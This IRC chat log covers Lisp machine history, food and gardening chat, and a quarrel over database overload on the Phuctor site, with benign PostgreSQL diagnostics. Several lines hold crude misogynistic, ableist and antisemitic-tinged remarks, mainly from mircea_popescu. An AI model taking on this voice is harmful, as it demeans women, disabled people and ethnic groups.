1641106;1491777698;shinohai;https://krebsonsecurity.com/2017/04/gamestop-com-investigating-possible-breach/ <<< lulzy, but being mealy-mouth krebs writeup I couldn't Qntra it. 1641107;1491777700;mircea_popescu;still, it collected thousands of btc. 1641108;1491777721;mircea_popescu;asciilifeform i thought symbolics was mostly hand made originally. 1641109;1491777722;asciilifeform;and mmm collected billion $ . 1641110;1491777737;mircea_popescu;asciilifeform see ? where did THE INVESTMENT!111 come from! 1641111;1491777782;asciilifeform;from bamboozling large crowd of derps with slightly more money than sense each ? 1641112;1491777813;asciilifeform;yes, some folx are friends with chumpatronicist, or bank robber (stalin et al), who will give them a little dough out of whatever private reason of his own. 1641113;1491777822;mircea_popescu;market is not weighing machine to start with. it gets there, but it starts as something else. derping about "justifying commercially" is the EXACT equivalent of not talking to girl for nerd reasons. 1641114;1491777842;asciilifeform;funnily enough lmi, after bankruptcy, was bought by one such 1641115;1491777853;mircea_popescu;which reiterates the question : http://btcbase.org/log/2017-04-09#1641087 1641116;1491777853;a111;Logged on 2017-04-09 22:37 mircea_popescu: ~any 16 yo figures out her chief order of business is trashing the damend thing, why's it take moon 50 years ? 1641117;1491777862;asciilifeform;he took its remains to canada, and bamboozled their government for years, pretending to make 'french translator machine' 1641118;1491777869;mircea_popescu;heh 1641119;1491777880;asciilifeform;it ended with jail for the 'genius', and junkyard for the iron. all of it. 1641120;1491777908;mircea_popescu;let me retell the history of early computing. 1641121;1491777964;phf;mircea_popescu: i think people in question weren't even thinking in terms asciilifeform is using. they are all deep academia, without external guiding force thye end up recreating windows interface 10 years too late. 1641122;1491778002;mircea_popescu;1. a dozen mentally retarded girls were afraid of their own cunts ; 2. so much so as to need to be 50 before they'd finally deflower ; 3. except they did it in such a manner as to replace the insulatory function of that with various other ersatz-hymens created out of material collected in the environment ; 4 but because they were mentally retarded no possiblity of meaningful communication was open to them and so 5. therefore 1641123;1491778003;mircea_popescu;they all ended up with random substitute hymens and that's the last time anyone heard of any of them. 1641124;1491778022;mircea_popescu;phf i saw this too, but what's irking me is WHY. 1641125;1491778042;asciilifeform;phf: i was offering to mircea_popescu that not everyone is born to walk around robbing banks to fund hardware manufacture, or 'burning boston' to extirpate 'socialism', some folks were born to theorems. but mircea_popescu won't have it -- either banks, and burning, or untermenschen, apparently. 1641126;1491778066;mircea_popescu;im not sure that's even discussed, here. what theorems are involved in handmaking symbolics gear 1641127;1491778128;asciilifeform;pretty sure that by the time there was a symbolics -- the handmaking was outsourced. 1641128;1491778148;mircea_popescu;pre-symbolics gear. 1641129;1491778278;phf;pre-symbolics the "theorems" were "how do i computer" in general. those guys weren't playing around with custom fpga in their garage that they failed to sell. they were basically figuring out how to build a von neumann machine that can do things, which they did 1641130;1491778287;mircea_popescu;anyway, in the above retelling, the 4->5 transition is the coup the grace. they couldn't "follow" each other ~because~, in this view, they were bereft of sufficient bandwith to in any sense communicate. so they couldn't, like, end up with all the same one substitute cuntcap. 1641131;1491778316;mircea_popescu;phf this part is fine. now, why did they fail to a) band togetgher and b) control, deliberately, the product. 1641132;1491778318;asciilifeform;then, quite unlike now, new type of comp had to be made by hand from ttl chips -- few gates each; and connected with semi-reliable wrap wiring. it was quite impossible to offload this to 'brute labour', you had to intimately understand how the thing works in order to debug in any way. 1641133;1491778324;mircea_popescu;they did a very strict anti-a and anti-b. why 1641134;1491778371;mircea_popescu;the only reason mit even exists in this picture is because the dozen was "omfg, we DID figure it out, now quick, find someone TO PROTECT US FROM OUR HAVING FIGURED IT OUT!!1" 1641135;1491778377;mircea_popescu;holy shit who thinks like this and why do they. 1641136;1491778390;asciilifeform;mircea_popescu: my understanding was that greenblatt and noftsker had serious disagreement re how to actually do business. (noftsker favoured external capital, and founded the -- temporarily -- successful symbolics co; greenblatt -- the very soon dead lmi, and believed in 'lift by bootstraps', no external capital.) 1641137;1491778390;phf;jealous wizards, i thought that was an archetype. 1641138;1491778402;mircea_popescu;for crying out loud. 1641139;1491778411;asciilifeform;ti corp was not even part of this game, they did not hire -- afaik -- any of the original designers. 1641140;1491778431;mircea_popescu;asciilifeform and the rest just happened to fall into s or lmi randomly as the wind blew ? 1641141;1491778464;asciilifeform;not knowing any of them in person, i cannot say why some went with one, and others -- other, and third -- with no one, and into the void. presumably agreed with n, or g, or neither. 1641142;1491778486;asciilifeform;'i do not know' != 'randomly'. 1641143;1491778558;mircea_popescu;this equality doesn't hold. it's not a matter "we don't know". we know what the environment constraints are, and we do not care what their internal processing is. if they fail to act rationally they did it randomly. 1641144;1491778646;mircea_popescu;but anyway, leaving this hot coal for a while also, consider THE FUCKING INDIGNITY. you're telling me the dozen was split up by a convenient application of... a socialist marote ? same thing sunk lisp as the international ?! 1641145;1491778658;mircea_popescu;this fills no one with indignation but me ? 1641146;1491778695;asciilifeform;if 'act rationally' somehow means 'pick a fuhrer! use haruspex if you gotta!' then none of them 'acted rationally', no. 1641147;1491778699;mircea_popescu;it's on the level of "great monk died - syphilis". come da fuck on. have better problems! 1641148;1491778713;mircea_popescu;asciilifeform in the circumstance ? this isn't a given iyo ? 1641149;1491778784;mircea_popescu;the time for "debates" is when you're installed in power and are preparing to withdraw the power from the plebs. you create a trappings-of-power artefact through the magical working of dialectics, heap it upon them in exchange for the actual thing and move on. that's when you do "disputes". 1641150;1491778809;mircea_popescu;when you're the only twelve guys on monkey island you don't fucking disagree. because there's nothing to disagree ~about~. because there can't be. 1641151;1491778815;asciilifeform;there is such a thing as an actual dispute. 1641152;1491778823;mircea_popescu;because monkeys. i dunno, seems likew i;'m repeating myself. 1641153;1491778827;mircea_popescu;asciilifeform give me an example. 1641154;1491778835;asciilifeform;let's say for sake of argument that greenblatt was 'the true king.' he had no mechanism for somehow forcing the others to come along. 1641155;1491778845;asciilifeform;so off he went, with subset of the possible participants. 1641156;1491778850;asciilifeform;the rest -- with someone else. 1641157;1491778852;mircea_popescu;except for them being not fucking stupid. 1641158;1491778868;mircea_popescu;the mechanism is -- them not being fucking stupid. 1641159;1491778901;asciilifeform;even 40+ yrs later, and to quasi-serious student of the subject, imho it is not clear who -- if anyone -- was 'true king'. 1641160;1491778914;mircea_popescu;why is this important ? 1641161;1491778947;asciilifeform;what, exactly, were -- in mircea_popescu's view -- these people 'fucking stupid' for having not done ? 1641162;1491778978;phf;asciilifeform: true king is a later invention, actual process is "choose king amongst yourself", and failure to do so is stupidity 1641163;1491778994;mircea_popescu;asciilifeform indulge me for a moment here. so, would you agree that a specific and specified problem (make a computer!) was actually resolved by a number of people ? 1641164;1491779020;asciilifeform;i don't actually see it as resolved, even today. 1641165;1491779031;asciilifeform;attempted - yes. resolved - no. 1641166;1491779048;mircea_popescu;so you don't particularily want symbolix metal, it\s just some random thing. 1641167;1491779054;asciilifeform;not random, no. 1641168;1491779059;mircea_popescu;then gimme something. 1641169;1491779064;asciilifeform;picture if we had no jet turbine. 1641170;1491779069;mircea_popescu;so then why do you deny ? 1641171;1491779072;asciilifeform;say it was tried in ww2, and then not again. 1641172;1491779079;asciilifeform;bolix box would then be me262. 1641173;1491779090;asciilifeform;fairly primitive, early attempt, but -- not continued. 1641174;1491779110;mircea_popescu;you'll have to pick a door (for the needs of this conversation only) 1641175;1491779117;asciilifeform;me262 had quite serious problems, from practical pov. 1641176;1491779155;asciilifeform;the analogy is not a whim of asciilifeform's, it is quite exact -- what bolix et al did, was a 'stretch' of the tech of the time, quite near its breaking point 1641177;1491779164;asciilifeform;the trouble is that this is how tech actually advances 1641178;1491779187;mircea_popescu;look, there's no crevice here to slither into. either you grant "they did" or else you admit they didn't do anything. pick one. 1641179;1491779192;asciilifeform;early steamboats were expensive deathtraps (boiler explosions were still a quite familiar thing in mark twain's time, even) 1641180;1491779204;asciilifeform;this dichotomy is a hallucination of mircea_popescu's , and i ain't buying. 1641181;1491779223;mircea_popescu;aite, then i guess it can't epxlained what the people invovled were stupid for having not done. 1641182;1491779252;asciilifeform;they took a serious technological risk - and lost, like dirigible; rather than won, like steamboat. 1641183;1491779254;mircea_popescu;you will note however that ~all communication~ rests on hallucination in the sense here contemplated. and we're right back to 4->5. 1641184;1491779258;phf;there's only one computer asciilifeform acknowledges as "resolved", and that's the computer built by asciilifeform. i suspect similar dynamic was at the root of smbx/lmi 1641185;1491779301;asciilifeform;phf: a bolix-style machine that -- hypothetically - could have cost-competed with the 'i can't believe it's not butter' state of the art, would imho count as 'resolve' 1641186;1491779309;mircea_popescu;phf im starting to understand the problem though. here it is : engineer will not consider inconvenient problems. NO MATTER WHAT. that is why he's an engineer : because paradigm made him a personal promise. 1641187;1491779314;mircea_popescu;it\s a sort of elective jewry. 1641188;1491779333;asciilifeform;mircea_popescu: it is quite impossible to 'unconsider inconvenient problem' in a thread about bolix 1641189;1491779341;mircea_popescu;you just did. 1641190;1491779345;asciilifeform;which is in a way a parable re engineers going to the bottom of the sea 1641191;1491779399;asciilifeform;my contention is simply that they failed to ~resolve~ their problem , in the sense of achieving item#2 from my http://www.loper-os.org/?p=305 essay 1641192;1491779412;mircea_popescu;but that is not the sense contemplated in context. 1641193;1491779413;asciilifeform;because -- cost. 1641194;1491779427;asciilifeform;let's have expansion re the sense contempated by mircea_popescu then 1641195;1491779437;asciilifeform;possibly i'm thick 1641196;1491779475;mircea_popescu;im not capable nor interested in specifying. fact remains - a dozen dudes either did something ro didn't do something. if they did something we can discuss the history of the thing they did and what it says about them ; otherwise, we can not. 1641197;1491779497;mircea_popescu;and no, it's not an ~exact~ dozen, either. 1641198;1491779498;asciilifeform;they built something quite like a proper comp. 1641199;1491779504;asciilifeform;but were unable to build it economically. 1641200;1491779516;mircea_popescu;alright, so then let's continue from there. 1641201;1491779518;asciilifeform;or live long enough on 'credit card' to live to see the cheap-enough transistor. 1641202;1491779549;asciilifeform;(they eventually resorted to 'credit card' and ended up simply making a titanic black hole for entire ~industry~ to fall into, when it finally imploded) 1641203;1491779551;mircea_popescu;at the time they did this, the world split. there were the people who built the "something quite like a proper comp", on one side. there were the people who did not so build, on the other side. you see this ? 1641204;1491779560;asciilifeform;aha... 1641205;1491779587;mircea_popescu;crossed this line -> stupid. 1641206;1491779601;asciilifeform;what means to cross this line ? 1641207;1491779651;mircea_popescu;well, on top of a world ontologically constituted as "12 men on monkey island" attempting to construct alternate world hallucinatorily constituted as "men and money teams compete for island special olympics". 1641208;1491779682;asciilifeform;the monkeys, as discussed in old thread, could easily win, if there is not enough for men to eat on the island. 1641209;1491779688;mircea_popescu;"who do you think will win, mr 13, the team with two guys and monkeys or the team with three guys and monkeys ?" 1641210;1491779699;mircea_popescu;"i think the whole charade is a sickening display, personally." 1641211;1491779700;asciilifeform;which imho is what happened. environment could not sustain the man. 1641212;1491779708;mircea_popescu;who starved ? 1641213;1491779710;mircea_popescu;other than rms. 1641214;1491779728;asciilifeform;nobody starved, but the lispm was abandoned, the way moon rocket was. 1641215;1491779731;mircea_popescu;because yes the monkeys could win if not enough to eat, BUT you know this because there's 12 starved men. 1641216;1491779734;mircea_popescu;heh. 1641217;1491779735;asciilifeform;as a 'neato but sorry, -ev' item. 1641218;1491779745;mircea_popescu;notrly how this works. 1641219;1491779765;asciilifeform;and when the necessary transistors were finally ~free, they went to tlb cache instead so that winblowz could run 5% faster. 1641220;1491779765;mircea_popescu;but yes i'm aware not being stupid results in a deary lack of monkey island special olympics participation trophies. 1641221;1491779907;asciilifeform;who exactly, in mircea_popescu's model, are the monkeys ? 1641222;1491782217;mircea_popescu;everyone else. 1641223;1491782223;mircea_popescu;asciilifeform ^ 1641224;1491783527;asciilifeform;ok... 1641225;1491785116;mircea_popescu;perelman says so! 1641226;1491785612;trinque;dunno what's hard about the notion that look, you do not get computers until you have both the leadership category and engineering category maxed on your character 1641227;1491785636;*;asciilifeform currently brain-melting over the total and airtight lack of any public data re beta-luminescence of lanthanide-strontium aluminate vs metal-doped zinc sulphide 1641228;1491785642;trinque;and that the folks that "tried" in the first round lost because of deficiency of character 1641229;1491785679;asciilifeform;*lanthanide-doped 1641230;1491785723;asciilifeform;i've been looking for weeks. 0 result. 1641231;1491785773;asciilifeform;trinque: one possibility was 'too many chiefs, not enough indians' (tm) 1641232;1491785810;asciilifeform;which is sorta opposite, as i understand, to your hypothesis 1641233;1491785917;mircea_popescu;i didn't perceive this cheifdom in the chief characters. mebbe my antennae too blunt, but who ? how ? 1641234;1491786002;asciilifeform;self-perceived, this chiefdom. 1641235;1491786016;asciilifeform;greenblatt thought he could lead. etc 1641236;1491786044;mircea_popescu;but he was more or less irrelevant. moon, knight etc. 1641237;1491786111;mircea_popescu;anyway, imo the principal point of the discussion is that knowledge, any knowledge, enacts a partition upon the world. this is the only difference - chucka and man are distinguished not by skin color, not by anything else but the overpowering fact that chuka doesn't know what to do with the rtg ; or with pushkin ; or with etcetera. 1641238;1491786141;mircea_popescu;disconsidering this fundamental in any manner opens the chasm of hell, in all its presentation from evil to insanity. 1641239;1491786205;asciilifeform;so far i follow the logic.. 1641240;1491786264;phf;chukcha brings his novel to a su publishing dept. the editor reads it and goes "you know, you ought to read some classics, pushkin, turgenev, etc." chukcha goes "naw, chukcha is a writer, not a reader" 1641241;1491786272;mircea_popescu;aha 1641242;1491786278;mircea_popescu;asciilifeform there's realy no more to it. 1641243;1491786345;mircea_popescu;but as a side point : i went to town yest, bought jug of milk. guy kept trying to warn me it's not milk! i bought it anyway. it is FABULOUS buttermilk. best i ever had. also got a strong sheep cheese and a mellower one. i am happy like i've not been in a long time - finally, food! like god at home made it! 1641244;1491786366;mircea_popescu;long have i sought the native foods of my land, and never have i found them before, 1641245;1491786372;mircea_popescu;UNTIL I HAD THE FUCKING SENSE TO GO ON A HILL. 1641246;1491786386;mircea_popescu;i tell you people - do not live with the plainsdwellers, for they are retarded and eat shit. 1641247;1491786660;asciilifeform;mircea_popescu did not encounter all of this on his last run of CR ? 1641248;1491786668;mircea_popescu;that was 10 years ago. 1641249;1491786689;asciilifeform;they had not yet learned to make cheese then ? 1641250;1491786704;mircea_popescu;i evidently wasn't in the right place. 1641251;1491786718;asciilifeform;iirc mircea_popescu was by the sea then 1641252;1491786733;mircea_popescu;in fairness, i also wasn't nearly as much of a lord a decade ago. 1641253;1491786786;shinohai;http://btcbase.org/log/2017-04-10#1641243 <<< Hope it was much better cheese than the floating in ice, triple-wrapped variety from a few days previous. 1641254;1491786786;a111;Logged on 2017-04-10 01:05 mircea_popescu: but as a side point : i went to town yest, bought jug of milk. guy kept trying to warn me it's not milk! i bought it anyway. it is FABULOUS buttermilk. best i ever had. also got a strong sheep cheese and a mellower one. i am happy like i've not been in a long time - finally, food! like god at home made it! 1641255;1491786822;mircea_popescu;anyway, today watched sunset by the pool, with dog and woman. dog is a friendly pitbull, woman has nice tits. there could be worse fates. 1641256;1491786831;mircea_popescu;shinohai much better. 1641257;1491786971;mircea_popescu;asciilifeform cheese, in fairness, is very much like dealing with fromphuctors. gotta have lots of patience for duds. 1641258;1491787175;shinohai;Cheese is art. 1641259;1491787551;asciilifeform;now this, is so. 1641260;1491787595;*;asciilifeform spends moar on cheese than typical homo redditicus does on rent. with quite variable results, in these savage lands. 1641261;1491787804;phf;there's a benedictine monastery in bangalore where make italian style cheese. considering how bad cheese is otherwise in the country, i'm contemplating making a pilgrimage to bangalore just to see how they do, next time i'm there 1641262;1491788111;shinohai;I have no nearby monasteries unfortunately .... there is a farm in this little place called Ellijay nearby that makes decent goat cheese. 1641263;1491788139;*;shinohai mmmmm, chèvre 1641264;1491788329;BingoBoingo;From here good cheese involves inconvenient drive to Wisconsin 1641265;1491788592;*;mircea_popescu is more than willing to share his dollar-a-lb bounty with l1 all-comers. i also made myself fruit salad out of [actually ripe] mango, [actually ripe] pineapple, [actually ripe] banmanas, drenched in fresh oj etc. 1641266;1491788599;mircea_popescu;gallon bowl, went in one evening. 1641267;1491788619;shinohai;You can always opt for the other udder cheese in your neck of the woods, BingoBoingo 1641268;1491788675;*;BingoBoingo however has planted what should yield and incredible and constant variety of tomatoes until this fall's first frost. 1641269;1491788739;mircea_popescu;tomatoes go well with soft cheese... 1641270;1491788779;BingoBoingo;Tomatoes also go well eated whole like an apple so long as consumed no further than 100 feet from the vine 1641271;1491788889;*;shinohai has only planted radishes and cucumbers, has shitty soil in new locale. 1641272;1491788891;BingoBoingo;Have planted Black Krim, Cherokee x Carbon heirloom cross, Juliet Roma x Grape cross, Obligatory yellow cultivar, Beefmaster hybrid, and obligatory cherry tomatoe cultivar 1641273;1491789003;BingoBoingo;* shinohai has only planted radishes and cucumbers, has shitty soil in new locale. << Protip: till a plot and sow densly with turnips/radishes. Do not harvest and burn down with glyphosate before first frost. Till vastly improved soil next year. 1641274;1491789075;shinohai;Thx BingoBoingo will note protip 1641275;1491789108;shinohai;Whoreticulture! 1641276;1491789224;mircea_popescu;beans / lentils prolly work better for same purpose. 1641277;1491789253;shinohai;But then I'd *really* want to eat the tasty lentils 1641278;1491789273;BingoBoingo;Technique can be adapted to the lawn. Sub tilling with overseeding root crops, and instead of glyphosate burn down with 2,4-D and substitute last tilling with patience 1641279;1491789317;BingoBoingo; beans / lentils prolly work better for same purpose. << Clover works well too. Assuming shinohai's climate is too hot to get big legumes going 1641280;1491789360;mircea_popescu;shinohai most of the legume soil improvement happens through the root anyway 1641281;1491789365;mircea_popescu;they fix Ncompounds 1641282;1491789370;shinohai;There are only two seasons in Georgia, slightly chilly and sweltering, humid summer 1641283;1491789388;mircea_popescu;why did i think you liverd in like, southern spain 1641284;1491789427;BingoBoingo; There are only two seasons in Georgia, slightly chilly and sweltering, humid summer << Too cold for citrus, too hot for legumes and cole crops 1641285;1491789436;BingoBoingo;Unless you like Collared greens 1641286;1491789463;BingoBoingo;Or at least that is my vague impression. 1641287;1491789479;shinohai;No thanks to Spain, I can't be running of Moors from my garden all day. 1641288;1491789485;BingoBoingo;Maybe yall sow your spinach in December? 1641289;1491789539;shinohai;I've never tried personally. The woods behind my house however are chock full of Phytolacca decandra. 1641290;1491789549;shinohai;Better known locally as "Poke Salad" 1641291;1491789757;BingoBoingo;Also that shit is incredibly poisonous 1641292;1491789877;shinohai;Older folks go nuts over the shit here though, eat it like spinach. 1641293;1491789887;shinohai;With fatback, even. 1641294;1491789930;BingoBoingo;After substantial effort to boil out the poisons. Ain't nobody got time for that. 1641295;1491789951;shinohai;To me, just easier to grow damned spinach 1641296;1491790645;shinohai;In other locations to plant cucumbers: https://pbs.twimg.com/media/C7sufNFXUAMnGFx.jpg 1641297;1491790687;BingoBoingo;That looks like a zucchini 1641298;1491801922;ben_vulpes;christ what even is the point of a unary predicate in a language without closures 1641299;1491801950;ben_vulpes;oh i know, just establish some more global state 1641300;1491801996;ben_vulpes;you know, before calling the unary predicate 1641301;1491801998;ben_vulpes;EACH TIME 1641302;1491802036;ben_vulpes;wait hang on i have a different critique 1641303;1491802055;ben_vulpes;what even is the point of programming languages that don't in2 closures 1641304;1491802471;ben_vulpes;http://btcbase.org/log/2016-01-21#1380019 << what entails "corrupted gcc"? 1641305;1491802471;a111;Logged on 2016-01-21 18:33 asciilifeform: that is, using corrupted versions of gcc 1641306;1491803018;ben_vulpes;whatever, does not matter in the slightest. 1641307;1491803061;mircea_popescu;real men just goto where the closure is! 1641308;1491803323;ben_vulpes;oh is that how the world works 1641309;1491803482;mircea_popescu;gotta object orients to orient objects yo! 1641310;1491803532;ben_vulpes;mircea_popescu is in high spirits, must be nuts deep in something other than cpp 1641311;1491803555;mircea_popescu;lol. guess so huh. 1641312;1491826883;asciilifeform;http://btcbase.org/log/2017-04-10#1641304 << 5+. 1641313;1491826883;a111;Logged on 2017-04-10 05:34 ben_vulpes: http://btcbase.org/log/2016-01-21#1380019 << what entails "corrupted gcc"? 1641314;1491826887;asciilifeform;!#s gcc5 1641315;1491826888;a111;6 results for "gcc5", http://btcbase.org/log-search?q=gcc5 1641316;1491826890;asciilifeform;ben_vulpes ^ . 1641317;1491826956;asciilifeform;e.g., http://btcbase.org/log/2016-09-13#1541250 1641318;1491826956;a111;Logged on 2016-09-13 17:49 asciilifeform: even gcc5 no longer does. 1641319;1491835390;shinohai;https://twitter.com/theonevortex/status/851439547749548034 "Greatest journalists in crypto" 1641320;1491837563;ben_vulpes;asciilifeform: what was the reasoning behind your call that replacing trb's boostisms with c++11isms was an assault on grandfathers pistols? trb mustest compile with old gcc's? 1641321;1491837731;asciilifeform;ben_vulpes: my contention was that it must compile with < 5 . 1641322;1491837750;asciilifeform;whatever 11isms are properly implemented (with 0 special cases) in 4.9 -- fair game 1641323;1491837864;Framedragger;asciilifeform: just fyi i attempted a single wget (single http request) of sadmods, got 500, phuctor main page now 500's :/ 1641324;1491837886;Framedragger;prolly needs flask restart. 1641325;1491837931;asciilifeform;lol, thousand 'postgres: phuctor phuctor [local] SELECT' processes zombieing 1641326;1491838072;Framedragger;huh, queries should be cancelled upon a failed http request.. if backend connects to db over tcp socket perhaps check https://www.postgresql.org/docs/current/static/runtime-config-connection.html#GUC-TCP-KEEPALIVES-IDLE 1641327;1491838074;asciilifeform;i'ma ask everybody, nicely, to quit all automated querying of phuctor. 1641328;1491838111;asciilifeform;Framedragger: 'In sessions connected via a Unix-domain socket, this parameter is ignored and always reads as zero.' 1641329;1491838153;Framedragger;that's why i preluded with "if backend connects over tcp" 1641330;1491838162;Framedragger;ok. 1641331;1491838167;asciilifeform;it doesn't. 1641332;1491838184;asciilifeform;also i'm getting 20+ (!) second disk latencies. 1641333;1491838254;Framedragger;have you checked if maybe google army is attacking you now that you've changed the robots policy?.. 1641334;1491838263;asciilifeform;nope, it isn't. 1641335;1491838282;asciilifeform;there's a megatonne of zombie postgres liquishit hanging. 1641336;1491838289;asciilifeform;to the point where restarting the thing doesn't even do anything. 1641337;1491838508;Framedragger;(there's a `pg_terminate_backend(process_id)` which can be fed rows from `pg_stat_activity`, just fyi) 1641338;1491838572;asciilifeform;i have 0 idea what this means. 1641339;1491838838;Framedragger;asciilifeform: does the new-factor/key-adder write to db under a different db user than the db reader which reads data for the web backend? 1641340;1491838847;asciilifeform;nope. 1641341;1491838851;Framedragger;ok 1641342;1491838982;asciilifeform;well, phuctor is back up, until somebody else starts auto-massaging it. 1641343;1491839018;danielpbarron;phuctory reset 1641344;1491839038;trinque;haw 1641345;1491839145;Framedragger;the following should output stale queries: 1641346;1491839145;Framedragger;COPY (SELECT pid, client_addr, query_start, query FROM pg_stat_activity WHERE state <> 'active' ORDER BY client_addr ASC, query_start ASC) TO '/tmp/pg-zombies.txt' WITH CSV DELIMITER ' '; 1641347;1491839163;asciilifeform;i know what the stale queries are, already. 1641348;1491839178;asciilifeform;they're normal requests. 1641349;1491839205;Framedragger;oh but like, *active* requests? the use of the word "zombie" implied to me that the web requests themselves may have already died. okok. 1641350;1491839242;asciilifeform;Framedragger: they're zombies in the sense that there were a thousand+ of the liquishit processes whereas there never has any business being > 1 or 2. 1641351;1491839253;asciilifeform;requests with no serious hope of being serviced. 1641352;1491839273;Framedragger;aha ok. 1641353;1491839578;BingoBoingo;Phuctor, in addition to.. you know its stated mission, is possibly the greatest intelligence gathering exercise so far in "single box vs. hordes" problem 1641354;1491839600;asciilifeform;nah that'd be trilema 1641355;1491839662;phf;i take it phuctor is more like btcbase. a couple of thousand requests a day, with an occasional massive bot spike 1641356;1491839751;asciilifeform;loads per se can't hose it, in theory; there is a cache 1641357;1491839755;asciilifeform;submits, however, can. 1641358;1491839763;BingoBoingo;asciilifeform: Trilema is "common" application of single box. Many people thusly blog. Phuctor is great because it is a big ball of weird RDBMS-BDSM 1641359;1491839836;BingoBoingo;A micro-lol https://www.insidehighered.com/news/2017/04/10/lack-irs-data-tool-may-harm-fafsa-application-rates-and-already-hurting-students 1641360;1491839838;phf;they laughed at me when i said btcbase doesn't use a database, who's laughin now 1641361;1491839977;asciilifeform;phf: i've been searching for how to lose the db, for years now. 1641362;1491839984;asciilifeform;as soon as i figure it out -- it's gone. 1641363;1491839994;trinque;are we doing the "I used it wrong; this proves my political views" thread again? 1641364;1491840126;asciilifeform;trinque: 'there is a right-also, and asciilifeform is a moron' is not a political statement ? 1641365;1491840194;trinque;there are many reasons to hate rdbms. "cannot *at all* run something like phuctor" is not one of them 1641366;1491840222;phf;trinque is the resident psql guru, he managed to wire his 50 request lisp process to a postgresql database 1641367;1491840238;trinque;yes phf; this is the only work I've ever done 1641368;1491840242;trinque;live in a garbage can with g_l 1641369;1491840245;asciilifeform;i'm quite certain that it ~could~, trinque . just not at acceptable cost. 1641370;1491840457;phf;tmsr work is primarily defined by its voluntary nature, if i had to do things same way i do it at the office i wouldn't bother. ascii doesn't know intricacies of psql from his day job, and i think it's cruel and inhuman to make him study psql ~as part of tmsr work~. it's not the kind of know how you get to learn by sitting down with a cup of tea and a large printout.. 1641371;1491840569;trinque;I think it's dishonorable to prattle on in propaganda mode when there are plenty of statements to be made about why the thing's shit from the position of understanding it. 1641372;1491840609;trinque;nobody's forcing him to use it; now that he has one, I've made a few suggestions to lessen the pain 1641373;1491840814;asciilifeform;all of the constructive suggestions thus far ( from trinque et al ) require full rewrite. 1641374;1491840953;phf;ascii actually can criticize postgresql from the position of understanding. knowing intricacies of psql is not knowledge (rtrees, caching, etc.), it's trivia ("you have to turn lever 3 and depress button Y"). ascii knows what he needs to express, but he can't express it directly, because he's running against architectural constraints of his tool. from that perspective a general "databases are shit" is an entirely valid perspective. 1641375;1491840966;asciilifeform;^ 1641376;1491841034;trinque;this conveniently missing the point is shameful on you both. 1641377;1491841039;trinque;he *has one* 1641378;1491841050;trinque;can either bitch like a woman or fix the pain now and also move off later 1641379;1491841071;asciilifeform;what part of 'the suggested fixed require full rewrite' is hard to understand ? 1641380;1491841093;asciilifeform;and of 'full rewrite, regardless of what else it features, will NOT feature sql' 1641381;1491841103;asciilifeform;*fixes 1641382;1491841148;trinque;so then your site is going to be down in teh meantime because of a combo of prior technical decisions and present political ones 1641383;1491841157;asciilifeform;the site is up trinque 1641384;1491841180;asciilifeform;and if folks insist on trying to bring it down, i will ban as much of ipv4 space as i have to. 1641385;1491841189;asciilifeform;until rewrite. 1641386;1491841239;trinque;I will wager one source of load is my RSS thing, which you bitched wasn't producing results quickly enough 1641387;1491841253;asciilifeform;actually that part creates 0 load, it gets cache ~always 1641388;1491841258;asciilifeform;worx great. 1641389;1491841322;trinque;phf: knowing how to use it is trivia, but tell me, where can I put a dataset now, which I do under no circumstances want to lose, which must be served concurrently to a wide number of clients, which, and so on 1641390;1491841322;deedbot;http://trilema.com/2017/how-to-take-control-of-your-provider-a-guide-for-whores/ << Trilema - How to take control of your provider, a guide for whores. 1641391;1491841342;trinque;I'm not going to recite how mvcc works to you, nor what atomicity is, you're being dishonest 1641392;1491841410;trinque;none of that is trivial, and I'm aware of one mature such example in common lisp, and you have to pay for it 1641393;1491841428;trinque;which is fine, but I assume you're not over there running btcbase on allegro cache 1641394;1491841519;trinque;for that matter, your common lisp can't even dump a textual representation of its entire state which can be loaded elsewhere disregarding arch 1641395;1491841543;trinque;but we weren't talking about that; we were sidewinding onto whatever 1641396;1491841545;asciilifeform;trinque ^ this is both true and imho a serious problem 1641397;1491841554;asciilifeform;( afaik -- mccarthy's lisp -- ~could~ ) 1641398;1491841578;trinque;no reason it can't; certainly should 1641399;1491841590;trinque;anyone who thinks I'm defending SQL here is deaf 1641400;1491841603;phf;you're just ranting 1641401;1491841613;asciilifeform;re lisp state -- not sure this is doable on unix -- how do you dump and restore textual representation of posix threads ? fd's ? 1641402;1491841752;Framedragger;http://btcbase.org/log/2017-04-10#1641384 << not to rain on your parade but -- without any currently active crawl process, i've tried to wget /sadmods by hand just now, just to have a single copy to serve on the cached site. so far two 504 in a row 1641403;1491841752;a111;Logged on 2017-04-10 16:19 asciilifeform: and if folks insist on trying to bring it down, i will ban as much of ipv4 space as i have to. 1641404;1491841779;Framedragger;(so not exactly an 'insist to bring it down') 1641405;1491841780;trinque;phf: you can avoid the point as you choose. "there is a better land and we'll be there someday; don't eat til we get there, best food on earth, they have." has sunk many companies, and many people 1641406;1491841786;asciilifeform;Framedragger: you ~could~ stop hammering it 1641407;1491841794;Framedragger;asciilifeform: i'm not hammering it. check your logs. 1641408;1491841805;Framedragger;i'm trying to request a copy of sadmods. 1641409;1491841806;asciilifeform;didntcha just say 'consecutive 504s' 1641410;1491841814;asciilifeform;what's the 'consecutive' mean if not hammering. 1641411;1491841817;Framedragger;that's wget, it *retries*. 1641412;1491841829;Framedragger;after it gets a 504, it tries again. sequential. 1641413;1491841838;asciilifeform;didn't i ask nicely to quit this ? 1641414;1491841841;asciilifeform;all of it 1641415;1491841852;asciilifeform;anything with auto-retries. 1641416;1491841866;Framedragger;i'm running wget *by hand*. wtf. you expose a href on the site. i try to get it. it fails. ? 1641417;1491841887;asciilifeform;at any rate, thing loaded here. 1641418;1491841894;Framedragger;but that's the last time i brought this up. i wanted to clarify that nobody's hammering it. 1641419;1491841900;asciilifeform;it will start loading again for other people when Framedragger stops autowgetting it. 1641420;1491841913;trinque;lol! 1641421;1491841913;asciilifeform;i have actual work to do, and do not have time to babysit the process all day, every day. 1641422;1491841914;Framedragger;ok this is ridiculous, i'm done 1641423;1491841964;Framedragger;"your http client tries to re-request after request failed. DDoS!!" 1641424;1491841999;asciilifeform;Framedragger: yes, it is weak! but no, i don't have a five-second fix 1641425;1491842013;phf;trinque: my point is ~why do you do what you do~. there's no hard pressing imperative to freak out, which is the bezzle way of things anyway. 1641426;1491842025;asciilifeform;'this is a small boat, friends, please refrain from going in more than 5 at a time' 'we'll ALL go in! you should have BIGGER boat, you dummy!111' 1641427;1491842091;trinque;phf: I'm speaking from the perspective that this data storage thing eventually gets solved in the republic. 1641428;1491842105;trinque;can't shitbag the entire notion of "db" and expect to do that correctly 1641429;1491842115;trinque;I've said before the thing needs to be split into many specific tools 